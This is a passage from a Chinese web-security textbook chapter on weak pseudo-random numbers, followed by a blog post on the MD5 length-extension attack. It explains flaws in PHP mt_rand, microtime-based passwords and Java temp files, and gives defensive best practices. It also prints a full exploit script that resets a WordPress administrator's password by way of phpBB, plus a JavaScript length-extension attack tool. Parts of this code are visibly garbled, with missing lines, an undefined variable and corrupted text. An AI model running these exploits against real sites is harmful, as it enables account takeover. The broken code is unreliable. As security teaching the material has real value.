*/这直接导致的后果是，在OpenSSL的伪随机数生成算法中，唯一的随机因子是pid。而在Linux系统中，pid的最大值也是32768。这是一个很小的范围，因此可以很快地遍历出所有的随机数。受到影响的有，从2006.9到2008.5.13的debian平台上生成的所有ssh key的个数是有限的，都是可以遍历出来的，这是一个非常严重的漏洞。同时受到影响的还有OpenSSL生成的key以及OpenVPN生成的key。Debian随后公布了这些可以被遍历的key的名单。这次事件的影响很大，也让更多的开发者开始关注伪随机数的安全问题。再看看下面这个例子。在Sun Java 6 Update11之前的createTempFile()中存在一个随机数可预测的问题，在短时间内生成的随机数实际上是顺序增长的。Chris Eng发现了这个问题。java.io.File.createTempFile(deploymentName, extension);此函数用于生成临时目录，其实现代码如下：private static File generateFile(String s, String s1, File file) throws IOException{ if(counter == -1) counter = (new Random()).nextInt() & 0xffff; counter++; return new File(file, (newStringBuilder()).append(s).append(Integer.toString(counter)).append(s1).toString());}public static File createTempFile(String s, String s1, File file) throws IOException{ ... File file1; do file1 = generateFile(s, s2, file); while(!checkAndCreate(file1.getPath(), securitymanager)); return file1;}在Linux上的测试结果如下：文件名按照顺序生成文件名按照顺序生成（续）可以看到文件名是顺序增长的。在Windows上，本质没有发生变化：文件名按照顺序生成完整测试代码如下：import java.io.*;public class getTemp { /** * @param args */ public static void main(String[] args) { // TODO Auto-generated method stub File f = null; String extension = \".tmp\"; try { //for (int i=0; i<10; i++){ f = File.createTempFile(\"temp\", extension); System.out.println(f.getPath()); //} } catch (IOException e) { } }}这个函数经常被用于生成临时文件。如果临时文件可以被预测，那么根据业务逻辑的不同，将导致各种不可预估的结果，严重的将导致系统被破坏，或者为攻击者打开大门。在官方解决方案中，一方面增大了随机数的空间，另一方面修补了顺序增长的问题。private static File generateFile(String s, String s1, File file) throws IOException{ long l = LazyInitialization.random.nextLong(); if(l == 0x8000000000000000L) l = 0L; else l = Math.abs(l); return new File(file, (newStringBuilder()).append(s).append(Long.toString(l)).append(s1).toString());}在Web应用中，使用伪随机数的地方非常广泛。密码、key、SessionID、token等许多非常关键的“secret”往往都是通过伪随机数算法生成的。11.7.2 时间真的随机吗很多伪随机数算法与系统时间有关，而有的程序员甚至就直接使用系统时间代替随机数的生成。这样生成的随机数，是根据时间顺序增长的，可以从时间上进行预测，从而存在安全隐患。比如下面这段代码，其逻辑是用户取回密码时，会由系统随机生成一个新的密码，并发送到用户邮箱。function sendPSW(){ …… $messenger = &$this->system->loadModel('system/messenger');echo microtime().\"<br/>\"; $passwd = substr(md5(print_r(microtime(),true)),0,6); ……这个新生成的$passwd，是直接调用了micro-time()后，取其MD5值的前6位。由于MD5算法是单向的哈希函数，因此只需要遍历microtime()的值，再按照同样的算法，即可猜解出$passwd的值。PHP中的microtime()由两个值合并而成，一个是微秒数，一个是系统当前秒数。因此只需要获取到服务器的系统时间，就可以以此时间为基数，按次序递增，即可猜解出新生成的密码。因此这个算法是存在非常严重的设计缺陷的，程序员预想的随机生成密码，其实并未随机。在这个案例中，生成密码的前一行，直接调用了microtime()并返回在当前页面上，这又使得攻击者以非常低的成本获得了服务器时间；且两次调用microtime()的时间间隔非常短，因此必然是在同一秒内，攻击者只需要猜解微秒数即可。最终成功的实施攻击结果如下：成功预测出密码值所以，在开发程序时，要切记：不要把时间函数当成随机数使用。11.7.3 破解伪随机数算法的种子在PHP中，常用的随机数生成算法有rand()、mt_rand()。这两个函数的最大范围分别为：<?php//on windowsprint getrandmax();// 32767print mt_getrandmax(); //2147483647?>可见，rand()的范围其实是非常小的，如果使用rand()生成的随机数用于一些重要的地方，则会非常危险。其实PHP中的mt_rand()也不是很安全，Ste-fan Esser在他著名的paper：“mt_srand and notso random numbers”中提出了PHP的伪随机函数mt_rand()在实现上的一些缺陷。伪随机数是由数学算法实现的，它真正随机的地方在于“种子（seed）”。种子一旦确定后，再通过同一伪随机数算法计算出来的随机数，其值是固定的，多次计算所得值的顺序也是固定的。在PHP 4.2.0之前的版本中，是需要通过srand()或mt_srand()给rand()、mt_rand()播种的：在PHP 4.2.0之后的版本中不再需要事先通过srand()、mt_srand()播种。比如直接调用mt_rand()，系统会自动播种。但为了和以前版本兼容，PHP应用代码里经常会这样写：mt_srand(time());mt_srand((double) microtime() * 100000);mt_srand((double) microtime() * 1000000);mt_srand((double) microtime() * 10000000);这种播种的写法其实是有缺陷的，且不说time()是可以被攻击者获知的，使用microtime()获得的种子范围其实也不是很大。比如：0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000变化的范围在0到1000000之间，猜解100万次即可遍历出所有的种子。在PHP 4.2.0之后的版本中，如果没有通过播种函数指定seed，而直接调用mt_rand()，则系统会分配一个默认的种子。在32位系统上默认的播种的种子最大值是2^32，因此最多只需要尝试2^32次就可以破解seed。在Stefan Esser的文中还提到，如果是在同一个进程中，则同一个seed每次通过mt_rand()生成的值都是固定的。比如如下代码：<?phpmt_srand (1);echo mt_rand().'<br/>';echo mt_rand().'<br/>';echo mt_rand().'<br/>';echo mt_rand().'<br/>';echo mt_rand().'<br/>';echo mt_rand().'<br/>';echo mt_rand().'<br/>';?>第一次访问的结果如下：多次访问也得到同样结果：可以看出，当seed确定时，第一次到第n次通过mt_rand()产生的值都没有发生变化。建立在这个基础上，就可以得到一种可行的攻击方式：（1）通过一些方法猜解出种子的值； （2）通过mt_srand()对猜解出的种子值进行播种； （3）通过还原程序逻辑，计算出对应的mt_rand()产生的伪随机数的值。还是以上面的代码为例，比如使用随机播种：<?phpmt_srand ((double) microtime() * 1000000);echo mt_rand().'<br/>';echo mt_rand().'<br/>';echo mt_rand().'<br/>';echo mt_rand().'<br/>';echo mt_rand().'<br/>';echo mt_rand().'<br/>';echo mt_rand().'<br/>';?>每次访问都会得到不同的随机数值，这是因为种子每次都变化产生的。假设攻击者已知第一个随机数的值：466805928，如何猜解出剩下几个随机数呢？只需要猜解出当前用的种子即可。<?phpif ($seed = get_seed()){ echo \"seed is :\".$seed.\"\\n\"; mt_srand($seed); echo mt_rand().\"\\n\"; echo mt_rand().\"\\n\"; echo mt_rand().\"\\n\"; echo mt_rand().\"\\n\"; echo mt_rand().\"\\n\"; echo mt_rand().\"\\n\"; echo mt_rand().\"\\n\";}function get_seed(){ for ($i=0;$i<1000000 ;$i++){ mt_srand($i); //mt_rand(); // 对应是第几次调用mt_rand() $str = mt_rand(); // 在本例中是第一次调用 mt_rand() if ($str == 466805928 ) // 对比随机数的值 return $i; } return False;}?>验证发现：当种子为812504时，所有的随机数都被预测出来了。需要注意的是，在PHP 5.2.1及其之后的版本中调整了随机数的生成算法，但强度未变，因此在实施猜解种子时，需要在对应的PHP版本中运行猜解程序。在Stefan Esser的文中还提到了一个小技巧，可以通过发送Keep-Alive HTTP头，迫使服务器端使用同一PHP进程响应请求，而在该PHP进程中，随机数在使用时只会在一开始播种一次。在一个Web应用中，有很多地方都可以获取到随机数，从而提供猜解种子的可能。Stefan Esser提供了一种“Cross Application Attacks”的思路，即通过前一个应用在页面上返回的随机数值，猜解出其他应用生成的随机数值。mt_srand ((double) microtime() * 1000000);$search_id = mt_rand();如果服务器端将$search_id返回到页面上，则攻击者就可能猜解出当前的种子。这种攻击确实可行，比如一个服务器上同时安装了WordPress与phpBB，可以通过phpBB猜解出种子，然后利用WordPress的密码取回功能猜解出新生成的密码。Stefan Esser描述这个攻击过程如下：（1）使用Keep-Alive HTTP请求在phpBB2论坛中搜索字符串‘a’； （2）搜索必然会出来很多结果，同时也泄露了search_id； （3）很容易通过该值猜解出随机数的种子； （4）攻击者仍然使用Keep-Alive HTTP头发送一个重置admin密码的请求给WordPressblog； （5）WordPress mt_rand()生成确认链接，并发送到管理员邮箱； （6）攻击者根据已算出的种子，可以构造出此确认链接； （7）攻击者确认此链接（仍然使用Keep-Alive头），WordPress将向管理员邮箱发送新生成的密码； （8）因为新密码也是由mt_rand()生成的，攻击者仍然可以计算出来； （9）从而攻击者最终获取了新的管理员密码。一名叫Raz0r的安全研究者为此写了一个POC程序：<?phpecho \"------------------------------------------------------------------\\n\";echo \"Wordpress 2.5 <= 2.6.1 through phpBB2 Reset Admin Password Exploit\\n\";echo \"(c)oded by Raz0r (http://Raz0r.name/)\\n\";echo \"------------------------------------------------------------------\\n\";if ($_SERVER['argc']<3) { echo \"USAGE:\\n\"; echo \"~~~~~~\\n\"; echo \"php {$_SERVER['argv'][0]} [wp] [phpbb] OPTIONS\\n\\n\"; echo \"[wp] - target server where Wordpress is installed\\n\"; echo \"[phpbb] - path to phpBB (must be located on the same server)\\n\\n\"; echo \"OPTIONS:\\n\"; echo \"--wp_user=[value] (default: admin)\\n\"; echo \"--search=[value] (default: `site OR file`)\\n\"; echo \"--skipcheck (force exploit not to compare PHP versions)\\n\"; echo \"examples:\\n\"; echo \"php {$_SERVER['argv'][0]} http://site.com/blog/ http://site.com/forum/\\n\"; echo \"php {$_SERVER['argv'][0]} http://site.com/blog/ http://samevhost.com/forum/--wp_user=lol\\n\"; die;}set_time_limit(0);ini_set(\"max_execution_time\",0);ini_set(\"default_socket_timeout\",10);$wp = $_SERVER['argv'][1];$phpbb = $_SERVER['argv'][2];for($i=3;$i<$_SERVER['argc'];$i++){ if(strpos($_SERVER['argv'][$i],\"--wp_user=\")!==false) { list(,$wp_user) = explode(\"=\",$_SERVER['argv'][$i]); } if (strpos($_SERVER['argv'][$i],\"--search=\")!==false) { list(,$search) = explode(\"=\",$_SERVER['argv'][$i]); } if (strpos($_SERVER['argv'][$i],\"--skipcheck\")!==false) { $skipcheck=true; }}if(!isset($wp_user))$wp_user='admin';if(!isset($search))$search='site OR file';$wp_parts = @parse_url($wp);$phpbb_parts = @parse_url($phpbb);if(isset($wp_parts['host']))$wp_ip = gethostbyname($wp_parts['host']);else die(\"[-]Wrong parameter given\\n\");if(isset($phpbb_parts['host']))$phpbb_ip = gethostbyname($phpbb_parts['host']);elsedie(\"[-] Wrong parameter given\\n\");if($wp_ip!=$phpbb_ip) die(\"[-] Web apps must be located on the same server\\n\");$phpbb_host = $phpbb_parts['host'];if(isset($phpbb_parts['port']))$phpbb_port=$phpbb_parts['port']; else $phpbb_port=80;if(isset($phpbb_parts['path']))$phpbb_path=$phpbb_parts['path']; else $phpbb_path=\"/\";if(substr($phpbb_path,-1,1)!=\"/\")$phpbb_path .= \"/\";$wp_host = $wp_parts['host'];if(isset($wp_parts['port']))$wp_port=$wp_parts['port']; else $wp_port=80;if(isset($wp_parts['path']))$wp_path=$wp_parts['path']; else $wp_path=\"/\";if(substr($wp_path,-1,1)!=\"/\")$wp_path .= \"/\";echo \"[~] Connecting... \";$sock = fsockopen($phpbb_ip,$phpbb_port);if(!$sock)die(\"failed\\n\"); else echo \"OK\\n\";$packet = \"GET {$wp_path}wp-login.php HTTP/1.0\\r\\n\";$packet.= \"Host: {$wp_host}\\r\\n\";$packet.= \"Connection: close\\r\\n\\r\\n\";$resp='';fputs($sock,$packet);while(!feof($sock)) { $resp.=fgets($sock);}fclose($sock);if(preg_match('@HTTP/1\\.(0|1) 200 OK@i',$resp)){ if(preg_match('@login\\.css\\?ver=([\\d\\.]+)\\'@',$resp)) $wp26=true; else $wp26=false;} else die(\"[-] Can't obtain wp-login.php\\n\");if(!isset($skipcheck)) { echo \"[~] Comparing PHP versions... \"; $out=array(); preg_match('@x-powered-by: *PHP/([\\d\\.]+)@i',$resp,$out); if(!isset($out[1]))die( \"failed\\n[-] Can't get PHP version\\n\"); else { if(!(version_compare($out[1],'5.2.6') &&version_compare(phpversion(),'5.2.6')) && !(!version_compare($out[1],'5.2.6')&& !version_compare(phpversion(),'5.2.6')) ) {$packet.= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";$packet.= \"Content-Length: \".strlen($data).\"\\r\\n\\r\\n\";$packet.= $data;fputs($ock, $packet);sleep(5);$resp='';while(!feof($ock)) { $resp = fgets($ock); preg_match('@search.php\\?search_id=(\\d+)&@',$resp,$search); if(isset($search[1])) { $search_id = (int)$search[1]; echo \"[+] search_id is $search_id\\n\"; break; }}if(!isset($search_id)) die(\"[-] search_id Not Found, try the other --search param\\n\");echo \"[~] Sending request to $wp\\n\";$data = \"user_login=\".urlencode($wp_user).\"&wp-submit=Get+New+Password\";$packet = \"POST {$wp_path}wp-login.php?action=lostpassword HTTP/1.1\\r\\n\";$packet.= \"Host: {$wp_host}\\r\\n\";$packet.= \"Connection: keep-alive\\r\\n\";$packet.= \"Keep-alive: 300\\r\\n\";$packet.= \"Referer: {$wp}/wp-login.php?action=lostpassword\\r\\n\";$packet.= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";$packet.= \"Content-Length: \".strlen($data).\"\\r\\n\\r\\n\";$packet.= $data;fputs($ock,$packet);$seed = search_seed($search_id);if($seed!==false) echo \"[+] Seed is $seed\\n\";else die(\"[-] Seed Not Found\\n\");mt_srand($seed);mt_rand();if($wp26) $key = wp26_generate_password(20, false);else $key = wp_generate_password();echo \"[+] Activation key should be $key\\\";echo \"[~] Sending request to activate password reset\\n\";$packet = \"GET {$wp_path}wp-login.php?action=rp&key={$key} HTTP/1.1\\r\\n\";$packet.= \"Host: {$wp_host}\\r\\n\";$packet.= \"Connection: close\\r\\n\\r\\n\";fputs($ock,$packet);while(!feof($ock)) { $resp .= fgets($ock);}if(preg_match('/(Invalid username or e-mail)|(镱朦珙忄蝈朦 铗耋蝰蜮箦 徉珏 溧眄)|(湾镳噔桦铄 桁 镱朦珙忄蝈 )/i',$resp)) die(\"[-] Incorrect username for wordpress\\n\");if(strpos($resp,'error=invalidkey')!==false) die(\"[-] Activation key is incorrect\\n\");if($wp26) $pass = wp26_generate_password();else $pass = wp_generate_password();echo \"[+] New password should be $pass\\n\";function search_seed($rand_num) { $max = 1000000; for($seed=0;$seed<=$max;$seed++){ mt_srand($seed); $key = mt_rand(); if($key==$rand_num) return $seed; } return false;}function wp26_generate_password($length = 12, $special_chars = true) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; if ( $special_chars ) $chars .= '!@#$%^&*()'; $password = ''; for ( $i = 0; $i < $length; $i++ ) $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); return $password;}function wp_generate_password() { $chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\"; $length = 7; $password = ''; for ( $i = 0; $i < $length; $i++ ) $password .= substr($chars, mt_rand(0, 61), 1); return $password;}?>11.7.4 使用安全的随机数通过以上几个例子，我们了解到弱伪随机数带来的安全问题，那么如何解决呢？我们需要谨记：在重要或敏感的系统中，一定要使用足够强壮的随机数生成算法。在Java中，可以使用java.security.SecureRandom，比如：try { // Create a secure random number generator SecureRandom sr = SecureRandom.getInstance(\"SHA1PRNG\"); // Get 1024 random bits byte[] bytes = new byte[1024/8]; sr.nextBytes(bytes); // Create two secure number generators with the same seed int seedByteCount = 10; byte[] seed = sr.generateSeed(seedByteCount); sr = SecureRandom.getInstance(\"SHA1PRNG\"); sr.setSeed(seed); SecureRandom sr2 = SecureRandom.getInstance(\"SHA1PRNG\"); sr2.setSeed(seed);} catch (NoSuchAlgorithmException e) {}而在Linux中，可以使用/dev/random或者/dev/urandom来生成随机数，只需要读取即可：int randomData = open(\"/dev/random\", O_RDONLY);int myRandomInteger;read(randomData, &myRandomInteger, sizeof myRandomInteger);// you now have a random integer!close(randomData);而在PHP 5.3.0及其之后的版本中，若是支持openSSL扩展，也可以直接使用函数来生成随机数：string openssl_random_pseudo_bytes ( int $length [, bool &$crypto_strong ] )除了以上方法外，从算法上还可以通过多个随机数的组合，以增加随机数的复杂性。比如通过给随机数使用MD5算法后，再连接一个随机字符，然后再使用MD5算法一次。这些方法，也将极大地增加攻击的难度。\n11.8 小结在本章中简单介绍了与加密算法相关的一些安全问题。密码学是一个广阔的领域，本书篇幅有限，也无法涵盖密码学的所有问题。在Web安全中，我们更关心的是怎样用好加密算法，做好密钥管理，以及生成强壮的随机数。在加密算法的选择和使用上，有以下最佳实践：（1）不要使用ECB模式； （2）不要使用流密码（比如RC4）； （3）使用HMAC-SHA1代替MD5（甚至是代替SHA1）； （4）不要使用相同的key做不同的事情； （5）salts与IV需要随机产生； （6）不要自己实现加密算法，尽量使用安全专家已经实现好的库； （7）不要依赖系统的保密性。当你不知道该如何选择时，有以下建议：（1）使用CBC模式的AES256用于加密； （2）使用HMAC-SHA512用于完整性检查； （3）使用带salt的SHA-256或SHA-512用于Hashing。\n（附）Understanding MD5Length Extension Attack背景2009年，Thai Duong与Juliano Rizzo不仅仅发布了ASP.NET的Padding Oracle攻击，同时还写了一篇关于Flickr API签名可伪造的pa-per，和Padding Oracle的paper放在一起。因为Flickr API签名这个漏洞，也是需要用到padding的。两年过去了，在安全圈子（国内国外）里大家的眼光似乎都只放到了Padding Oracle上，而有意无意地忽略了Flickr API签名这个问题。我前段时间看paper时，发现Flickr API签名这个漏洞，实际上用的是MD5 Length Extension Attack，和Padding Oracle还是很不一样的。在研究了ThaiDuong 的paper后，我发现作者根本就未曾公布MD5 Length Extension Attack的具体实现方法，只是看到作者像变魔术一样突然丢出来POC。Thai Duong的paper中的描述注意看图中椭圆框标注的部分，POC中padding了很多0字节，但是中间又突兀地跑出来几个非0字节，why？我百思不得其解，试图还原这个攻击的过程，为此查阅了大量的资料，结果发现整个互联网上除了一些理论外，根本就没有这个攻击的任何实现。于是经过一段时间的研究后，我决定写下这篇blog，来填补这一空白。以后哪位哥们的工作要是从本文中得到了启发，记得引用下本文。什么是Length Extension Attack?很多哈希算法都存在Length Extension攻击，这是因为这些哈希算法都使用了Merkle-Damg?rd hash construction进行数据压缩，流行算法比如MD5、SHA-1等都受到影响。MD5的实现过程以MD5为例，首先算法将消息以512bit（就是64字节）的长度分组。最后一组必然不足512bit，这时算法就会自动往最后一组中填充字节，这个过程被称为padding。而Length Extension是这样的：当知道MD5(secret)时，在不知道secret的情况下，可以很轻易地推算出MD5(secret||padding||m')。在这里m'是任意数据，||是连接符，可以为空。padding是secret最后的填充字节。MD5的padding字节包含整个消息的长度，因此，为了能够准确地计算出padding的值，secret的长度也是我们需要知道的。MD5 length-extension攻击原理图所以要实施Length Extension Attack，就需要找到MD5(secret)最后压缩的值，并算出其padding，然后加入到下一轮的MD5压缩算法中，算出最终我们需要的值。理解Length Extension Attack为了深入理解Length Extension Attack，我们需要深入到MD5的实现中。而最终的exploit，也需要通过patch MD5来实现。MD5的实现算法可以参考RFC1321。这个成熟的算法现在已经有了各个语言版本的实现，本身也较为简单。我从网上找了一个JavaScript版本，并以此为基础实现Length Extension Attack。首先，MD5算法会对消息进行分组，每组64个字节，不足64个字节的部分用padding补齐。padding的规则是，在最末一个字节之后补充0x80，其余的部分填充为0x00，padding最后的8个字节用来表示需要哈希的消息长度。比如输入的消息为：0.46229771920479834，变为ASCII码，且将每个字符分离为数组后变为：因为数据总共才有19个字节，不足64个字节，因此剩下部分需要经过padding。padding后数据变为：最后8个字节用以表示数据长度，为19*8 =152。在对消息进行分组以及padding后，MD5算法开始依次对每组消息进行压缩，经过64轮数学变换。在这个过程中，一开始会有定义好的初始化向量，为4个中间值，初始化向量不是随机生成的，是标准里定义死的——是的，你没看错，这是“硬编码”！然后经过64轮数学变换。.......这是一个for循环，在进行完数学变换后，将改变临时中间值，这个值进入下一轮for循环：还记得前面那张MD5结构的图吗？这个for循环的过程，就是一次次的压缩过程。上一次压缩的结果，将作为下一次压缩的输入。而Length Ex-tension的理论基础，就是将已知的压缩后的结果，直接拿过来作为新的压缩输入。在这个过程中，只需要上一次压缩后的结果，而不需要知道原来的消息内容是什么。实施Length Extension Attack理解了Length Extension的原理后，接下来就需要实施这个攻击了。这里有几点需要注意，首先是MD5值怎么还原为压缩函数中所需要的4个整数？通过逆向MD5算法，不难实现这一点。简单来说，就是先把MD5值拆分成4组，每组8个字节。比如：9d391442efea4be3666caf8549bd4fd3拆分为：9d391442 efea4be3 666caf85 49bd4fd3然后将这几个string转换为整数，再根据一系列的数学变化，还原成for循环里面需要用到的h3,h2,h1,h0。接下来将这4个值加入到MD5的压缩函数中，并产生新的值。此时就可以在后面附加任意数据了。我们看看这个过程——比如secret为0.12204316770657897，它只需要经过一轮MD5压缩。从它的MD5值中可以直接还原出这4个中间值，同时我们希望附加消息“axis is smart!”，并计算新消息的MD5值。通过还原出secret压缩后的4个中间值，可以直接进行第二轮附加了消息的压缩，从而在第一轮中产生了4个新的中间值，并以此生成新的MD5值。为了验证结果是否正确，我们计算一下新的MD5(secret||padding||m')。可以看到，MD5值和刚才计算出来的结果是一致的。这段代码如下：<script src=\"md5.js\" ></script><script src=\"md5_le.js\" ></script><script>function print(str){ document.write(str);}print(\"=== MD5 Length Extension Attack POC ===<br>=== by axis ===<br><br>\");// turn this to be true if want to see internal statedebug = false;var x = String(Math.random());var append_m = 'axis is smart!';print(\"[+] secret is :\"+x+\"<br>\"+\"[+] length is :\" + x.length+\"<br>\");print(\"[+] message want to append is :\"+append_m+\"<br>\");print(\"[+] Start calculating secret's hash<br>\");var old = faultylabs.MD5(x);print(\"<br>[+] Calculate secret's md5 hash: <b>\"+old+\"</b><br>\");print(\"<br><br>================================<br>\");print(\"[+] Start calculating new hash<br>\");print(\"[+] theory: h(m||p||m1)<br>\");print(\"[+] that is: md5_compression_function('\"+old+\"', 'secret's length', '\"+ append_m+\"')\"+\"<br>\");var hash_guess = md5_length_extension(old, x.length, append_m);print(\"[+] padding(urlencode format) is: \"+ escape(hash_guess['padding']) + \"<br/>\");print(\"<br>[+] guessing new hash is: <b>\"+hash_guess['hash']+\"</b><br>\");print(\"<br><br>================================<br>\");print(\"[+] now verifying the new hash<br>\");var x1 = '';x1 = x + hash_guess['padding'] + append_m;print(\"[+] new message(urlencode format) is: <br>\"+ escape(x1) +\"<br><br>\");var v = faultylabs.MD5(x1);print(\"<br>[+] md5 of the new message is: <b>\"+v+\"</b><br/>\");</script>关键代码md5_le.js是patch MD5算法的实现，基于faultylabs的MD5实现而来，其源代码附后。md5.js则是faultylabs的MD5实现，在此仅用于验证MD5值。如何利用Length Extension Attack如何利用Length Extension Attack呢？我们知道Length Extension使得可以在原文之后附加任意值，并计算出新的哈希。最常见的地方就是签名。一个合理的签名，一般需要salt或者key加上参数值，而salt或者key都是未知的，也就使得原文是未知的。在Flickr API签名的问题中，FlickrAPI同时还犯了一个错误，这个错误Amazon的AWS签名也犯过——就是在签名校验算法中，参数连接时没有使用间隔符。所以本来如：?a=1&b=2&c=3的参数，在签名算法中连接时简单地变成了：a1b2c3那么攻击者可以伪造参数为：?a=1b2c3[....Padding....]&b=4&c=5最终在签名算法中连接时：a1b2c3[....Padding....]b4c5通过Length Extension可以生成一个新的合法的签名。这是第一种利用方法。除此之外，因为可以附加新的参数，所以任意具有逻辑功能，但原文中未出现过的参数都可以附加，比如：?a=1&b=2&c=3&delete=../../../file&sig=sig_new这是第二种攻击方式。第三种攻击方式：还记得HPP吗？附带相同的参数可能在不同的环境下造成不同的结果，从而产生一些逻辑漏洞。在普通情况下，可以直接注入新参数，但如果服务器端校验了签名，则需要通过Length Extension伪造一个新的签名才行。?a=1&b=2&c=3&a=4&sig=sig_new最后，Length Extension需要知道的length，其实是可以考虑暴力破解的。Length Extension还有什么利用方式？尽情发挥你的想象力吧。How to Fix?MD5、SHA-1之类的使用Merkle-Damg?rdhash construction的算法是没希望了。使用HMAC-SHA1之类的HMAC算法吧，目前HMAC还没有发现过安全漏洞。另外，针对Flickr API等将参数签名的应用来说，secret放置在参数末尾也能防止这种攻击。比如MD5(m+secret)，希望推导出MD5(m+secret||padding||m')，结果由于自动附加se-cret在末尾的关系，会变成MD5(m||padding||m'||secret)，从而导致Length Extension run不起来。提供一些参考资料如下：http://rdist.root.org/2009/10/29/stop-us-ing-unsafe-keyed-hashes-use-hmac/http://en.wikipedia.org/wiki/SHA-1http://utcc.utoronto.ca/~cks/space/blog/programming/HashLengthExtAttackhttp://netifera.com/research/flickr_api_sig-nature_forgery.pdfhttp://en.wikipedia.org/wiki/Merkle-Damg?rd_constructionhttp://www.ietf.org/rfc/rfc1321.txtmd5_le.js源代码如下：md5_length_extension = function(m_md5, m_len, append_m){ var result = new Array(); if (m_md5.length != 32){ alert(\"input error!\"); return false; } // 将MD5值拆分成4组，每组8个字节 var m = new Array(); for (i=0;i<m_md5.length;i+=8){ m.push(m_md5.slice(i,i+8)); } // 将MD5的4组值还原成压缩函数所需要的数值 var x; for(x in m){ m[x] = ltripzero(m[x]); // convert string to int ; convert of to_zerofilled_hex() m[x] = parseInt(m[x], 16) >> 0; // convert of int128le_to_hex var t=0; var ta=0; ta = m[x]; t = (ta & 0xFF); ta = ta >>> 8; t = t << 8; t = t | (ta & 0xFF); ta = ta >>> 8; t = t << 8; t = t | (ta & 0xFF); ta = ta >>> 8; t = t << 8; t = t | ta; m[x] = t; } // 此时只需要使用MD5压缩函数执行 append_m 以及 append_m的padding即可 // 此时m 的压缩值已经不再需要，可以用填充字节代替 var databytes = new Array(); // 初始化，只需要知道 m % 64 的长度即可，事实上可以随意填充，但我们其实还想知道padding // 如果消息长度大于64，则需要构造之前的等长度的消息，用以后面计算正确的消息长度 if (m_len>64){ for (i=0;i<parseInt(m_len/64)*64;i++){ databytes.push('97'); // 填充任意字节 } } for (i=0;i<(m_len%64);i++){ databytes.push('97'); // 填充任意字节 } // 调用padding databytes = padding(databytes); // 保存结果为padding，我们也需要这个结果 result['padding'] = ''; for (i=(parseInt(m_len/64)*64 + m_len%64);i<databytes.length;i++){ result['padding'] += String.fromCharCode(databytes[i]); } // 将append_m 转换为数组添加 for (j=0;j<append_m.length;j++){ databytes.push(append_m.charCodeAt(j)); } // 计算新的padding databytes = padding(databytes); var h0 = m[0]; var h1 = m[1]; var h2 = m[2]; var h3 = m[3]; var a=0,b=0,c=0,d=0; // Digest message // i=n 开始，因为从 append_b 开始压缩 for (i = parseInt(m_len/64)+1; i < databytes.length / 64; i++) { // initialize run a = h0 b = h1 c = h2 d = h3 var ptr = i * 64 // do 64 runs updateRun(fF(b, c, d), 0xd76aa478, bytes_to_int32(databytes, ptr), 7) updateRun(fF(b, c, d), 0xe8c7b756, bytes_to_int32(databytes, ptr + 4), 12) updateRun(fF(b, c, d), 0x242070db, bytes_to_int32(databytes, ptr + 8), 17) updateRun(fF(b, c, d), 0xc1bdceee, bytes_to_int32(databytes, ptr + 12), 22) updateRun(fF(b, c, d), 0xf57c0faf, bytes_to_int32(databytes, ptr + 16), 7) updateRun(fF(b, c, d), 0x4787c62a, bytes_to_int32(databytes, ptr + 20), 12) updateRun(fF(b, c, d), 0xa8304613, bytes_to_int32(databytes, ptr + 24), 17) updateRun(fF(b, c, d), 0xfd469501, bytes_to_int32(databytes, ptr + 28), 22) updateRun(fF(b, c, d), 0x698098d8, bytes_to_int32(databytes, ptr + 32), 7) updateRun(fF(b, c, d), 0x8b44f7af, bytes_to_int32(databytes, ptr + 36), 12) updateRun(fF(b, c, d), 0xffff5bb1, bytes_to_int32(databytes, ptr + 40), 17) updateRun(fF(b, c, d), 0x895cd7be, bytes_to_int32(databytes, ptr + 44), 22) updateRun(fF(b, c, d), 0x6b901122, bytes_to_int32(databytes, ptr + 48), 7) updateRun(fF(b, c, d), 0xfd987193, bytes_to_int32(databytes, ptr + 52), 12) updateRun(fF(b, c, d), 0xa679438e, bytes_to_int32(databytes, ptr + 56), 17) updateRun(fF(b, c, d), 0x49b40821, bytes_to_int32(databytes, ptr + 60), 22) updateRun(fG(b, c, d), 0xf61e2562, bytes_to_int32(databytes, ptr + 4), 5) updateRun(fG(b, c, d), 0xc040b340, bytes_to_int32(databytes, ptr + 24), 9) updateRun(fG(b, c, d), 0x265e5a51, bytes_to_int32(databytes, ptr + 44), 14) updateRun(fG(b, c, d), 0xe9b6c7aa, bytes_to_int32(databytes, ptr), 20) updateRun(fG(b, c, d), 0xd62f105d, bytes_to_int32(databytes, ptr + 20), 5) updateRun(fG(b, c, d), 0x2441453, bytes_to_int32(databytes, ptr + 40), 9) updateRun(fG(b, c, d), 0xd8a1e681, bytes_to_int32(databytes, ptr + 60), 14) updateRun(fG(b, c, d), 0xe7d3fbc8, bytes_to_int32(databytes, ptr + 16), 20) updateRun(fG(b, c, d), 0x21e1cde6, bytes_to_int32(databytes, ptr + 36), 5)bytes_to_int32(databytes, ptr + 56), 23) updateRun(fH(b, c, d), 0xa4beea44, bytes_to_int32(databytes, ptr + 4), 4) updateRun(fH(b, c, d), 0x4bdecfa9, bytes_to_int32(databytes, ptr + 16), 11) updateRun(fH(b, c, d), 0xf6bb4b60, bytes_to_int32(databytes, ptr + 28), 16) updateRun(fH(b, c, d), 0xbebfbc70, bytes_to_int32(databytes, ptr + 40), 23) updateRun(fH(b, c, d), 0x289b7ec6, bytes_to_int32(databytes, ptr + 52), 4) updateRun(fH(b, c, d), 0xeaa127fa, bytes_to_int32(databytes, ptr), 11) updateRun(fH(b, c, d), 0xd4ef3085, bytes_to_int32(databytes, ptr + 12), 16) updateRun(fH(b, c, d), 0x4881d05, bytes_to_int32(databytes, ptr + 24), 23) updateRun(fH(b, c, d), 0xd9d4d039, bytes_to_int32(databytes, ptr + 36), 4) updateRun(fH(b, c, d), 0xe6db99e5, bytes_to_int32(databytes, ptr + 48), 11) updateRun(fH(b, c, d), 0x1fa27cf8, bytes_to_int32(databytes, ptr + 60), 16) updateRun(fH(b, c, d), 0xc4ac5665, bytes_to_int32(databytes, ptr + 8), 23) updateRun(fI(b, c, d), 0xf4292244, bytes_to_int32(databytes, ptr), 6) updateRun(fI(b, c, d), 0x432aff97, bytes_to_int32(databytes, ptr + 28), 10) updateRun(fI(b, c, d), 0xab9423a7, bytes_to_int32(databytes, ptr + 56), 15) updateRun(fI(b, c, d), 0xfc93a039, 